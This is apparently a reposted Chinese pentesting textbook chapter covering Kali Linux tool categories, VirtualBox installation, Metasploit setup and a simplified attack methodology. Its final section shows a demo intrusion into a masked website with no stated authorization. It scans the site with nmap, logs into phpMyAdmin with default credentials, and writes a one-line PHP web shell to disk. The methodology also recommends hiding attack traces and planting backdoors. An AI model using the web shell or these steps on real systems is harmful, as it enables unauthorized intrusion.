<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/826

            作者博客:http://www.xuanhun521.com/

            1.1 Kali Linux簡介


            如果您之前使用過或者了解BackTrack系列Linux的話,那么我只需要簡單的說,Kali是BackTrack的升級換代產品,從Kali開始,BackTrack將成為歷史。

            如果您沒接觸過BackTrack也沒關系,我們從頭開始了解Kali Linux。

            按照官方網站的定義,Kali Linux是一個高級滲透測試和安全審計Linux發行版。作為使用者,我簡單的把它理解為,一個特殊的Linux發行版,集成了精心挑選的滲透測試和安全審計的工具,供滲透測試和安全設計人員使用。也可稱之為平臺或者框架。

            17182302-122acb302af04b68a31ad036c8fe08d

            Kali Linux

            作為Linux發行版,Kali Linux是在BackTrack Linux的基礎上,遵循Debian開發標準,進行了完全重建。并且設計成單用戶登錄,root權限,默認禁用網絡服務。

            關于系統特性,定制,在不同設備上的安裝,請在Kali Linux官網上查閱,http://www.kali.org/。官網上還有一份中文版的說明文檔,但是我總覺得要么是自動翻譯的,要么是外國人自行翻譯的,讀起來非常不通順,但是仍然可作為參考,見http://cn.docs.kali.org/

            17182311-298d1ffa0c8a4c32ac4016dbc1b9b9c

            中文文檔

            因為本書的核心內容是滲透測試,Kali Linux只是平臺,更多的關于系統本身的內容不會詳細介紹。下面我們來看看Kali自帶的工具集,介紹完這些工具,相信你也就了解了Kali Linux的功能。

            17182319-948f1b9e822041a8b9c77a63f508852

            上圖是安裝完Kali Linux(在下一節,會簡單介紹虛擬機下Kali Linux的安裝和配置)系統自帶的工具集。最頂層是十佳安全工具,這些工具都被包含在下面的工具分類中。

            Kali Linux將所帶的工具集劃分為十四個大類,這些大類中,很多工具是重復出現的,因為這些工具同時具有多種功能,比如nmap既能作為信息搜集工具也能作為漏洞探測工具。其中大部分工具的使用,都會在之后的章節中做介紹和實例演示。另外,這里介紹的工具都是系統默認推薦的工具,我們也可以自行添加新的工具源,豐富工具集。根據筆者的經驗,絕大多數情況下,系統推薦的工具已經足夠使用了。一些專用工具,會在特定的測試場景下被引入,在后續章節中會詳細說明。

            信息搜集

            信息搜集工具集又分為DNS分析、IDS/IPS識別、SMB分析、SMTP分析、SNMP分析、SSL分析、VoIP分析、VPN分析、存活主機識別、電話分析、服務指紋識別、流浪分析、路由分析、情報分析、系統指紋識別共15個小分類。

            17182326-305eb706f27a44e5b5f20a258da853f

            信息搜集工具分類

            DNS分析包含dnsdict6、dnsenum等12個工具,如下圖。

            17182335-27a4fe3be1ab40f49141eee50d836a7

            Dns分析工具

            IDS/IPS識別包含fragrout、fragrouter、ftest、lbd、wafwOOf四個工具。

            17182343-09f9bb79480c4188a230273dce2e2bc

            IDS/IPS識別工具

            擴展---|||||IDS/IPS

            IDS(intrusion detection system),即入侵檢測系統。是一種對網絡傳輸進行即時監視,在發現可疑傳輸時發出警報或者采取主動反應措施的網絡安全設備。它與其他網絡安全設備的不同之處便在于,IDS是一種積極主動的安全防護技術。

            IPS(Intrusion Prevention System)即入侵防御系統。IPS位于防火墻和網絡的設備之間。這樣,如果檢測到攻擊,IPS會在這種攻擊擴散到網絡的其它地方之前阻止這個惡意的通信。

            二者的區別:

            入侵檢測系統注重的是網絡安全狀況的監管。入侵防御系統關注的是對入侵行為的控制。

            入侵檢測系統需要部署在網絡內部的中心點,需要能夠觀察到所有網絡數據。入侵防御系統需要部署在網絡的邊界。

            入侵檢測系統的核心價值在于通過對全網信息的分析,了解信息系統的安全狀況,進而指導信息系統安全建設目標以及安全策略的確立和調整,而入侵防御系統的核心價值在于安全策略的實施—對黑客行為的阻擊;入侵檢測系統需要部署在網絡內部,監控范圍可以覆蓋整個子網,包括來自外部的數據以及內部終端之間傳輸的數據,入侵防御系統則必須部署在網絡邊界,抵御來自外部的入侵,對內部攻擊行為無能為力。

            參考:http://security.zdnet.com.cn/security_zone/2009/0412/1362627.shtml

            smb分析包含如下工具:

            17182358-0c158eede8be448aae715ae0228184c

            擴展---|||||smb協議

            MB簡介SMB是Server Message Block的簡寫,這個協議用于共享文件,共享打印機,共享串口等用途。我們之所以能夠在windows的網絡鄰居下訪問一個域內的其他機器,就是通過這個協議實現的。SMB 協議是一個很重要的協議,目前絕大多數的PC上都在運行這一協議,windows系統都充當著SMB協議的客戶端和服務器,所以SMB是一個遵循客戶機服/務器模式的協議。SMB服務器負責通過網絡提供可用的共享資源給SMB客戶機,服務器和客戶機之間通過TCP/IP協議、或者IPX協議、或者是 NetBEUI進行連接。

            參考:http://msdn.microsoft.com/en-us/library/cc246231.aspx

            smtp分析包含如下工具:

            17182405-fb2d7ce5f2ed4dd6bea7852c05dcf50

            smtp分析工具

            snmp分析報告如下工具:

            17182411-66bdd56b75bc4aa288a58a95dd7bea2

            SSL分析包含如下工具:

            17182418-447542044268453fb123a5efc0f65c4

            VoIP分析包含如下工具:

            17182425-13e624b9a5384b43a90e016c0bf5744

            擴展—VoIP簡介

            VoIP是 Voice over Internet Protocol的縮寫,指的是將模擬的聲音訊號經過壓縮與封包之后,以數據封包的形式在IP 網絡的環境進行語音訊號的傳輸,通俗來說也就是互聯網電話、網絡電話或者簡稱IP電話的意思。

            參考資料:https://www.cisco.com/application/pdf/en/us/guest/tech/tk587/c1506/ccmigration_09186a008012dd36.pdf

            VPN分析只包含一個工具:ike-scan

            17182432-8dde89272a724cc796deedca9c8f368

            存活主機識別包含的工具:

            17182442-81ee437b09794d1f98f4c1700001cf8

            服務器指紋識別包含如下工具:

            17182451-8b10c8027fca4e69b9559415e083119

            流量分析包含如下工具:

            17182500-917117facd364ab2b3070bc0bd8aede

            路由分析包含如下工具:

            17182520-a0024e770f304a98916c093b7b9d339

            情報分析包含如下工具:

            17182528-389fa3e7a6744dccb8bbe9f92c09464

            網絡包含如下工具:

            17182543-f4e53eb4819c454299d52456a7dea47

            系統指紋識別包含如下工具:

            17182553-38c006720ac949c19b7bf486c045432

            擴展—指紋識別:

            在實際的生產環境中,應用程序返回的軟件、服務器、操作系統的相關信息,很有可能是偽裝過的。比如請求一臺apathe服務器,如果它在http響應中返回的是IIS 6.0的信息,如果我們簡單的認為它是iis服務器,并以此為依據繼續接下來的滲透工作,豈不是南轅北轍?指紋識別技術應運而生,向測試對方發送特殊的請求,根據響應內容的不同來做出正確的識別,這種技術稱之為指紋識別技術。常用的操作系統指紋識別技術為IP協議棧。

            鏈接http://nmap.org/book/osdetect-fingerprint-format.html是Nmap操作系統指紋識別的基本原理

            漏洞分析

            17182604-0313b47d774440379d5ef0b18d64202

            漏洞分析工具集

            漏洞分析工具集,共分為6個小類,分別為Cisco工具集、Fuzzing工具集、OpenVAS、開源評估軟件、掃描工具集、數據庫評估軟件。

            Cisco工具集包含如下工具:

            17182613-9bd70165995b40fab3472588fcf3d7e

            Fuzzing工具集下包含如下工具:

            17182621-8564ddccd0e8418cb3c42a377a37fd9

            擴展—Fuzzing

            模糊測試 (fuzz testing, fuzzing)是一種軟件測試技術。其核心思想是自動或半自動的生成隨機數據輸入到一個程序中,并監視程序異常,如崩潰,斷言(assertion)失敗,以發現可能的程序錯誤,比如內存泄漏。模糊測試常常用于檢測軟件或計算機系統的安全漏洞。

            模糊測試工具主要分為兩類,變異測試(mutation-based)以及生成測試(generation-based)。模糊測試可以被用作白盒,灰盒或黑盒測試。3文件格式與網絡協議是最常見的測試目標,但任何程序輸入都可以作為測試對象。常見的輸入有環境變量,鼠標和鍵盤事件以及API調用序列。甚至一些通常不被考慮成輸入的對象也可以被測試,比如數據庫中的數據或共享內存。

            參考:https://www.owasp.org/index.php/Fuzzing

            OpenVAS 包含如下工具:

            17182630-50fb6d30e73c4f328011142a1c59cc0

            擴展—OpenVAS

            OpenVAS是一款開放式的漏洞評估工具,主要用來檢測目標網絡或主機的安全性。與安全焦點的X-Scan工具類似,OpenVAS系統也采用了Nessus較早版本的一些開放插件。OpenVAS能夠基于C/S(客戶端/服務器),B/S(瀏覽器/服務器)架構進行工作,管理員通過瀏覽器或者專用客戶端程序來下達掃描任務,服務器端負載授權,執行掃描操作并提供掃描結果。

            參考:http://www.openvas.org/

            開源評估軟件包含如下工具:

            17182642-686f7ec5b3ef4b0790d41c754a3d935

            掃描工具集包含如下工具:

            17182650-fe9dfb882e2b4834b36b47abe35ce96

            數據庫評估軟件包含如下工具:

            17182658-c5db5ae7b45e4389bc55a41fdaeacc0

            Web程序

            Web程序下主要包含CMS識別、IDS/IPS識別、Web漏洞掃描、Web爬行、Web應用代理、Web應用漏洞挖掘、Web庫漏洞利用共7個類別。

            17182714-2cff450a490e405c9dda5b855ca310e

            密碼攻擊

            密碼攻擊主要包括GPU工具集、Passing the Hash、離線攻擊、在線攻擊。

            17182724-046c23f3069d4bcfa9ff063bd6c9415

            擴展—Passing the Hash

            Passing the Hash,中文一般翻譯為Hash傳遞攻擊。在windows系統中,系統通常不會存儲用戶登錄密碼,而是存儲密碼的Hash值。在我們遠程登錄系統的時候,實際上向遠程傳輸的就是密碼的Hash。當攻擊者獲取了存儲在計算機上的用戶名和密碼的hash值 的時候,他雖然不知道密碼值,但是仍然可以通過直接連接遠程主機,通過傳送密碼的hash值來達到登錄的目的。

            無線攻擊

            無線攻擊包含RFID/NFC工具集、Software Defined Radio、藍牙工具集、其他無線工具、無線工具集。

            17182735-34b07d4d51ac42d49308ce711f35a53

            擴展-- Software Defined Radio

            軟件無線電(Software Defined Radio,SDR)是一種實現無線通信的新概念和體制。一開始應用在軍事領域,在21世紀初,由于眾多公司的努力,使得它已從軍事領域轉向民用領域,成為經濟的、應用廣泛的、全球通信的第三代移動通信系統的戰略基礎。

            由于無線通信領域存在的一些問題,如多種通信體系并存,各種標準競爭激烈,頻率資源緊張等,特別是無線個人通信系統的發展,使得新的系統層出不窮,產品生產周期越來越短,原有的以硬件為主的無線通信體制難以適應這種局面,迫使軟件無線電的概念的出現。它的出現,使無線通信的發展經歷了由固定到移動,由模擬到數字,由硬件到軟件的三次變革。

            參考:http://zh.wikipedia.org/wiki/%E8%BD%AF%E4%BB%B6%E6%97%A0%E7%BA%BF%E7%94%B5

            漏洞利用工具集

            漏洞利用工具集,主要包含了幾個流行的框架,和其他工具。

            17182749-50b8c823d7d441e49b1e3475b289d9c

            BeEF XSS Framework,官方站點http://beefproject.com/。全稱Browser Exploitation Framework,它是專注于 web瀏覽器的滲透測試框架。

            Metasploit,官方站點http://www.metasploit.com/。著名的滲透測試框架,是滲透測試人員的必修課。

            嗅探/欺騙

            嗅探、欺騙? 包含VoIP、Web嗅探、網絡欺騙、網絡嗅探、語言監控五個工具集。

            17182807-31d63185638c4f738bf06303942dc49

            權限維持

            權限維持包含Tunnel工具集、Web后門、系統后門三個子類。

            17182816-77a9bc8280b04d11bba77390e18b96b

            其中Tunnel工具集包含了一系列用于建立通信隧道、代理的工具。

            逆向工程

            逆向工程,包含了Debug工具集、反編譯、其他逆向工具集三個子類。

            17182825-7d09118d3ed24d669ec1d512dc9e4a4

            壓力測試

            壓力測試包含VoIP壓力測試、Web壓力測試、網絡壓力測試、無線壓力測試四個子類。

            17182835-055c578541614592af2d30190b85414

            硬件Hacking

            硬件Hacking包括Android工具集、Arduino工具集兩個子類。

            17182846-bb24fd176c6a466497969f102a603ec

            數字取證

            數字取證工具集包含PDF取證工具集、反數字取證、密碼取證工具集、內存取證工具集、取證分割工具集、取證分析工具集、取證哈希驗證工具集、取證鏡像工具集、殺毒取證工具集、數字取證、數字取證套件。

            17182853-b80f0e19069442d8bc0100ce974f981

            報告工具集

            報告工具集,主要用于生成、讀取、整理滲透測試報告的工具,包含Domentation、媒體捕捉、證據管理。

            17182902-fe21081d76bf4e0b80813465fa9040f

            系統服務

            系統服務是系統上的服務程序,包括BeFF、Dradis、HTTP、Metasploit、MySQL、OpenVas、SSH。

            默認情況下,網絡和數據庫服務是關閉的,需要重新開啟。

            17182911-5f0ba299e3d0418a9138e6c019a65f9

            小結

            上面對Kali Linux的默認工具集進行的了大致的瀏覽,由于本書只關注于滲透測試,對逆向工程、壓力測試、硬件Hacking、數字取證這些工具不會涉及。

            下一節介紹虛擬機下的系統安裝和簡單配置。

            1.2 環境安裝及初始化


            在1.1節,我們大致了解了Kali Linux的內置工具集,本節主要介紹虛擬機下的系統安裝。

            如果您需要定制或者采用其他方式安裝系統,請參考官方文檔,http://cn.docs.kali.org/。官方文檔內容大致如下圖:

            17184820-80a74906de1f4673b88c538b822c39d

            KaliLinux官方文檔(1)

            17184826-1cc637e8547b48c9bc4706f34293f43

            Kali Linux 官方文檔(2)

            1.2.1 下載映像

            在地址http://www.kali.org/downloads/,我們可以看到網站提供32位和64位的ISO映像文件。

            17184835-0697c96e86e8438099cfd8b9e17d70f

            下載映像文件

            根據實際情況選擇你要下載的版本,我下載的是Kali Linux 64 Bit。

            1.2.2 安裝虛擬機

            相對于VMWare,個人更喜歡VirtualBox,因為VirtualBox是開源、免費,比VMWare更輕量。

            首先到https://www.virtualbox.org/wiki/Downloads下載VirtualBox。我選擇的是VirtualBox 4.3.4 for Windows hosts。

            17184841-8a51452fd0924622b3ae4b5b71587d0

            安裝就很簡單了,這里就不浪費篇幅了。

            安裝完成之后,打開VirtualBox,開始安裝Kali Linux。

            1.2.3 安裝Kali Linux

            打開VirtualBox之后,單擊“新建”,打開新建虛擬機對話框。

            17184848-8dbd92cb6fbe4d70847fbae8b46d5aa

            新建虛擬機

            名稱隨意填寫,類型選擇Linux,版本選擇Debian或者Debian(64 bit),我安裝64位版本,所以選擇Debian(64 bit)。單擊“下一步”。

            17184855-7fce46a2408a4bc1bcd7f3ecb63dfc5

            配置內存大小

            內存大小,根據自己機器的內存選擇配置就可以了,這里采用默認值。

            下一步,配置虛擬硬盤。

            17184902-731ee2674bf94ad0b45a88aef54d93d

            配置虛擬硬盤

            選擇新建虛擬硬盤,單擊“創建”。

            17184908-646666a770ef4fa8a74ce2a51e81ff6

            選擇虛擬硬盤文件類型

            虛擬硬盤文件類型,選擇VDI類型。下一步。

            17184914-1e30258c9bcd4ecea7dbf7e8a5587e9

            虛擬硬盤物理存儲

            這里筆者選擇固定大小。下一步,選擇文件存儲位置,設置磁盤大小。

            17184924-992f4d35232247d7a4778e19e3ae1e8

            選擇文件存儲位置

            虛擬磁盤的大小,建議要大于8G,筆者使用默認的8G安裝,結果中途失敗,修改為20G后,安裝成功。開始創建。

            17184933-2f10971bad834104a126aa05f656bd3

            經歷一段時間等待(VirtualBox的虛擬磁盤創建速度確實不如VMWare),虛擬磁盤創建完畢。回到VirtualBox主界面,選擇我們創建的虛擬機。單擊上方的“設置”按鈕。

            17184940-486f10428b004886bd000bce80b6c1b

            17184948-0e9d39fdf0a9404bace3acef1d4388d

            選擇“存儲”選項卡。

            17185004-804cf092a7a4437f869cbd528d1ab7f

            接下來選中光驅。

            配置光驅,加載安裝映像文件。在分配光驅屬性選擇“第一IDE控制器主通道”,加載下載的Kali Linux ISO文件。

            選擇“網絡”選項卡,配置為橋接模式。確定。

            17185013-b713a74a8ebe4b5da2672241b94015e

            配置網絡為橋接模式

            回到主界面,啟動虛擬機,加載ISO。

            17185023-adefbd710cbc458b9f970e2c8feea19

            選擇“Graphic install”,繼續。

            17185034-c79bc6956d854c679333c83bec90439

            選擇語言為中文簡體。

            17185044-cbe22f50cc31450ebce8f3091c0fc0a

            選擇區域為中國。

            17185055-45f8c1624feb40c79510124b3303c07

            配置鍵盤為“漢語”。

            17185103-b55e519654494a86ac0489f89537f16

            開始從光盤加載組件。

            17185111-25a95e695726434d8d3c6506f8edf61

            探測并配置網絡。

            17185120-980f888179de4179b972dc1764f0eac

            配置主機名,根據自己的喜好配置就可以了。

            17185129-0e846c785bc845bc86f2f449fa23e8b

            配置域名,如果不在外網,域名隨便配置就可以了。

            17185138-327f6fd0dc5b478d9cc075cb63b535b

            設置Root賬戶密碼。

            17185153-61a55cade88e40b692664ee279313d8

            配置磁盤分區,這里和接下來的步驟,為簡單起見,我們都選擇非手工方式,選擇“使用整個磁盤”。

            17185201-ec9c732a1388462e8b2e9a7ac5f8649

            只有一個磁盤,繼續。

            17185210-c553f19c74184e6a8b279a1cbe3724b

            選擇分區方案。

            17185219-d5f242aec1b646c38eff8437d0a86e6

            17185226-be5eaae68f5c4abeadea4e08a848071

            確認分區方案。

            17185234-1ba6398ba879419484dee9947a8c4b5

            開始安裝系統。

            17185246-d2ee4ca9b1404595998d68c6e54e6dc

            映像內容安裝完成后,會提醒是否使用網絡映像,如果處于聯網狀態,推薦使用,以便獲取更新的內容。

            17185255-0b3db3fba7e445b2b0842bd72f698da

            安裝完成后,點擊繼續,結束安裝過程。虛擬機會重啟進入Kali Linux。

            1.2.4 安裝中文輸入法

            在系統登錄界面,選擇你設置的域,輸入用戶名“root”,你先前配置好的密碼,登錄。

            17185307-ca3f2e18d8764bfe8c6f6c43a5baf9b

            系統默認是沒有中文輸入的,為使用方便,先安裝中文輸入法。

            先執行apt-get update 命令

            17185316-a516eb09b60c42d4893623977940cf9

            接下來執行

            apt-get install fcitx
            

            17185323-5b6a3ba4ae2541d9aa5b870cf125857

            安裝成功后,執行

            apt-get install fcitx-googlepinyin
            

            安裝谷歌拼音輸入法。

            17185332-e311deecd0604b82ac9c2b200bc390b

            重啟系統。

            17185340-8d11ea073cca47df9086e449a6c87c4

            在屏幕頂部可以看到輸入法配置圖標,新建一個文檔,用Ctrl+Shift,可以調出輸入法。

            1.2.5 安裝VirtualBox增強工具

            安裝VirtualBox增強工具之后,虛擬機和宿主機之間就可以共享目錄、共享剪貼板了。

            首先啟動Kali Linux虛擬機后,打開一個終端然執行如下命令來安裝Linux內核頭文件。

            apt-get update && apt-get install -y linux-headers-$(uname -r)
            

            17185354-266008c8bf42435c89aaebddce9d37b

            在虛擬機內部,按“鍵盤右側的Ctrl+D”,會自動加載增強工具光盤映像,提示是否要自動運行,點擊取消。

            17185405-680e1626df414a0c8178943181b0b19

            雙擊桌面上的光盤圖標,打開后復制VboxLinuxAdditions.run到本地目錄,例如/root/。或者在終端執行以下命令:

            cp?/media/cd-rom/VBoxLinuxAdditions.run?/root/

            17185416-ab03285ae1eb429792e04e1363fd713

            接下來從終端進入文件所在目錄,先修改文件權限,保證可以被執行。

            chmod?755? VBoxLinuxAdditions.run
            

            執行:

            ./VBoxLinuxAdditions.run
            

            17185427-31ce1f1842cd4ce9baeef820f63dea6

            關閉虛擬機。

            1.2.6 配置共享目錄和剪貼板

            在virtualBox中選中虛擬機,點擊“設置”,選擇“共享文件夾”。

            17185436-6a7fcba56cd140959519d90011df029

            添加一個本地目錄。

            17185444-3b752eddb007447a8809d408f92ff2a

            然后切換到“常規”,選擇“高級”選項卡,配置剪貼板共享。

            17185454-53cec11394b44a5ba1df39eeb2a9364

            啟動虛擬機。正常情況下,系統啟動會自動掛載共享文件夾,在/media/目錄下。

            17185502-bcc1f49fde064087b78a1def6f9ff20

            1.2.7 運行 Metasploit Framework

            按照官方文檔的說法,“依照Kali Linux網絡服務策略,Kali沒有自動啟動的網絡服務,包括數據庫服務在內。所以為了讓Metasploit以支持數據庫的方式運行有些必要的步驟”。下面我們按照官方文檔的說明,按部就班的操作一下。

            啟動Kali的PostgreSQL服務

            執行命令:

            service postgresql start
            

            17185514-c178fecba90d4ba5be04b9242fb0249

            使用

            ss –ant
            

            檢查PostgreSQL的運行狀態。

            17185526-a6ad3594529e41859f2b558d1ab2a8c

            如圖,5432端口處于監聽狀態。

            啟動Kali的Metasploit服務

            執行命令啟動Metasploit服務:

            service metasploit start
            

            17185535-12dba843ce8d43c2b78750e61a74b88

            在Kali運行msfconsole

            在終端執行msfconsole,啟動Metasploit客戶端。

            17185721-f8d806d23cb849fdad3f1df9e1117a6

            然后在msf終端內,輸入db_status,查看數據庫狀態。

            17185737-770b98f6df5d4bb8bb3d41fa3f69dcd

            小結


            本節的內容主要是安裝和基礎配置,未涉及具體的工具級別的內容。目前環境準備完畢,是不是萬事具備只欠東風了呢?

            在講解具體操作之前,我還是想先講一講有關滲透測試的方法論有關內容。由于本書的核心是實際操作,所以方法論的內容相對于相關書籍會極其簡單,只是一個簡單流程化的梳理。

            1.3 滲透測試的一般化流程


            凡事預則立,不預則廢,做任何事情都要有一個預先的計劃。滲透測試作為測試學科的一個分支,早已形成了完整的方法論。在正式開始本書的實踐教學章節之前,我也想談一談使用Kali Linux的基本方法。這里討論方法論的目的有兩個:

            第一,在第一節里,我們看到Kali Linux集成了這么多工具,而且更令人欣喜的是已經對這些工具進行了專業的分類。這些工具的使用場景和使用階段是什么樣的呢?把工具拿來胡亂一頓掃描是不會有什么結果的。

            第二,本書的章節規劃,也需要一個規范,這個規范是我從滲透測試方法論中學來的,并進行了簡化,稱之為“滲透測試的一般化流程”。

            當然本節內容不會長篇大論,也不適用于企業內部的專業的滲透測試團隊來遵循。只是希望給初學滲透測試的同學一個入門的指引,有章可循,有法可依。只是學習本書的基本練習流程,不是標準的測試流程。

            下面這這張圖是《backtrack4 利用滲透測試保證系統安全》一書的Backtrack方法論。

            17190331-34037156945745bda7c1466544de6e0

            它將滲透測試分成了十個步驟,其中第6步“社會工程學”為可選步驟,但是筆者認為社會工程學在滲透測試的任何一個流程中都有用武之地,它是安全測試的一個方法,不應該成為一個單獨的流程。

            在本書中,我們將整個過程劃分為5個步驟。

            1.3.1 信息搜集

            在練習過程中,選擇目標的過程,讀者自行完成。在講解具體漏洞攻擊的章節中,還會講解一些如何快速查找特定目標的方法。本書假定讀者已經準備好了測試目標才閱讀和實踐書中內容,所以流程的第一步為信息搜集。

            在這一步中,我們盡可能的使用多種信息搜集工具,包括搜索引擎和社會工程學方法。對能收集到的信息,來者不拒。

            只有建立在足夠信息分析的基礎上,滲透測試才能游刃有余。因為信息越多,發現漏洞的幾率越大。

            同時對不同應用的信息收集的側重點也不同。比如web應用和桌面應用,對于web應用,服務器操作系統、web服務器類型、web后臺語言會被首先關注;而對于桌面應用,更多的是關心應用程序本身。

            1.3.2 發現漏洞

            在搜集了足夠的信息之后,首先我們要判斷它會存在哪些漏洞。這可以通過搜索引擎,和通用的漏洞掃描工具來完成。通常使用搜索引擎是明智的選擇,比如我們在第一步中知道對方站點的編寫語言為php 5.3.*,可以在google搜索“php 5.3”漏洞。

            17190339-26ce9e46f8364eee9b3757b0de43b8d

            很多專業的bug站點的信息,更值得我們駐足。這樣我們就可以針對性的進行漏洞掃描。此時使用專門的漏洞掃描工具比通用工具來得更實際和高效。

            1.3.3 攻擊

            基本上,你能得到的漏洞,都可以找到對應的攻擊方法。Kali Linux中也提供了很多現成的工具,來幫助我們順利的攻擊目標。

            這一步包含兩個方面,一個是利用現有漏洞利用,一個是提權。二者有時候是一回事,比如權限漏洞。

            滲透測試和以破壞為目的的黑客行為還是有區別的,測試的目的是證明漏洞的存在,而不是搞破壞。所以有時候攻擊成功之后可能測試任務就結束了,當然這和測試目標是緊密相關的。

            攻擊還包含一個重要的內容,就是如何隱藏攻擊行為或者清除攻擊痕跡。讓對方無法或者說很難通過反追蹤技術查找到攻擊者。

            1.3.4 權限維持

            權限維持階段,是我們成功攻破一個系統后,如何繼續保持對系統的控制權限的問題。

            一般會創建高權限的隱藏賬戶,或者安裝后門程序(包括木馬,病毒)。

            1.3.5 文檔化

            文檔化不是本書的強制流程,但是筆者強烈建議我們對每次滲透測試的過程和結果進行文檔化處理。這樣會形成知識的積累。當然如果你是專業的滲透測試工程師或者手上有滲透測試的項目,那么標準化文檔是必不可少的。

            小結

            本節所講解的流程不是標準的滲透測試流程,是本書的教學實踐簡化流程,讀者要區別對待。

            下一節,是本章的最后一節,以一個小例子來體驗Kali Linux的滲透測試,來提升大家的興趣。

            1.4 小試牛刀


            本節作為第一章的最后一節,給大家展示一個滲透測試的簡單示例。該示例操作簡單,環境真實,主要是為了給您一個整體上的感知,同時提升學習滲透測試的興趣。滲透測試的每一步并沒有記錄完整的細節信息。

            首先,我選擇了一個測試站點,下面對該站點www.xxxxoooo.cn,下面對其進行滲透測試。

            1.4.1 信息搜集

            whois查詢

            因為是cn域名,直接到http://ewhois.cnnic.net.cn查詢,更方便。

            結果如下:

            20181443-ee3d50c208fd40d9a3e4d80a8535443

            服務指紋識別

            很多個人站點,都沒有自定義錯誤信息的習慣。在url上隨便輸入一個不存在的地址,看是否會返回有用的信息。

            20181450-5716bced42ee40e0b06a096c583ac2d

            通過上圖,我們知道該站點的應用程序由php編寫,web服務器為Apathe/2.2.22,操作系統為Ubuntu。

            下面我們通過指紋識別工具,進行識別。

            在終端啟動nmap,輸入如下命令:

            nmap -A -T4 www.xxxxoooo.cn
            

            20181456-f6194206e0434daf9c3301c47199996

            如圖,識別出來的服務和系統信息與報錯信息一致。

            端口掃描

            在終端執行如下命令,使用nmap的tcp半開掃描方式來掃描打開的端口。

            nmap -sS <targetiste>
            

            20181503-ae3905c582194f8d8fcc02a9b8a75b8

            綜合性掃描

            該站點是需要登錄的,所以在非登錄情況下,常規掃描一般情況下意義不大。但是做一個基本的站點掃描還是必須的。當然很多工具是支持登錄掃描的。

            因為是web應用,一般情況下,我們是需要進行完整的web應用的漏洞掃描的。本實例忽略此步驟。

            1.4.2 發現漏洞

            對于web應用,我們通常從操作系統、服務、應用本身三個方面來挖掘漏洞。

            從站點應用上分析,一般的php程序會安裝phpmyadmin組件,用來管理數據庫。google一下,我們就會知道phpmyadmin 默認安裝在站點根目錄下。測試一下當前站點是否也在默認目錄下安裝了phpmyadmin呢?

            20181509-e1a9ca8bf4814d5086b7283f8d0266a

            ok,確實存在phpmyadmin。

            繼續google “phpmyadmin 默認用戶名密碼”。Googele之后,我們知道:“phpMyAdmin默認使用的是MySQL的帳戶和密碼”。MySql的默認賬戶是root,默認密碼是空,但是phpmyadmin是不允許空密碼的。

            繼續 Google“inurl: phpmyadmin”,可以看到很多關于phpmyadmin的文章。

            20181517-35921403f19048f7ae4defdf889e25a

            20181526-1449e8a568064e3fbe9a8c251f52071

            這些文章略過,google“hack phpmyadmin”,看看有什么發現?

            在這篇文章《Hacking PHPMyadmin (when import.php deleted)》(https://www.facebook.com/learnadvhacking/posts/556247631077238)中,我注意到

            20181536-9ffda7ad1aaa4b34ab34ff34ede222d

            很多站點都配置默認密碼為root。是不是也可以嘗試下呢?

            輸入用戶名root,密碼root,奇跡就這么出現了,直接登錄管理后臺。20181543-656f44b72bc44514a5eedbcbddccf45

            進入后臺之后,我們得到了更為詳盡的信息,為我們下一步攻擊打下了基礎

            1.4.3 攻擊與權限維持

            上面的步驟,我們完成了對網站數據庫的攻擊,其實拿到了網站數據庫,就是拿到了整個網站的控制權。

            如何利用phpmyadmin進行提權,從而得到服務器的控制權呢?

            目前在phpmyadmin后臺,我們可以操作表,向表中寫數據,如果數據庫有權限dump數據到web站點所在的文件夾,那么可以先將一個網馬寫到數據庫再保存到磁盤本地,再從瀏覽器訪問網馬,是不是就可以了呢?

            首先在phpmyadmin后臺找到一個數據庫,在“SQL”選項卡執行sql語句創建一個表“hacker”。

            20181626-57c55b846c11467fa5b8fd1425eee41

            語句執行成功后,再插入一條數據,代碼很簡單,希望能用php的system函數執行系統指令。

            INSERT INTO hacker (packet)
            
            VALUES(
            '<pre><body bgcolor=silver><? @system($_GET["cmd"]); ?></body></pre>'  
            ); 
            

            20181634-8b3a0db49bbc4586b46feea26b00726

            下一步就是保存插入的記錄到站點目錄下,但是站點的物理路徑是什么呢?我在觀察頁面請求鏈接的時候,發現一個404鏈接。

            20181642-107d3b9ff1c34775a295404118ffb92

            404鏈接的路徑是http://www.xxxxx.cn/var/www/productions/22_production.zip。這個是進行網站開發時候常犯的靜態鏈接的錯誤,那是不是說網站的根目錄在”/var/www”下呢,我把去掉”/var/www”,文件可以被正常訪問。其實這也是ubuntu默認的站點目錄。接下來就試試有沒有權限保存文件了。

            經過一番查找,終于找到一個有寫權限的目錄,將網馬寫到web目錄中,得到了webshell,接下來就不用詳解了吧。

            小結

            這個簡單的小例子,只是想告訴大家,滲透測試有什么并沒有那么困難。也沒有哪種方法,哪個工具或者平臺是萬能的,最重要的是你自己的努力和思考。

            從下一節開始,我們正式進入滲透測試的學習之旅。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线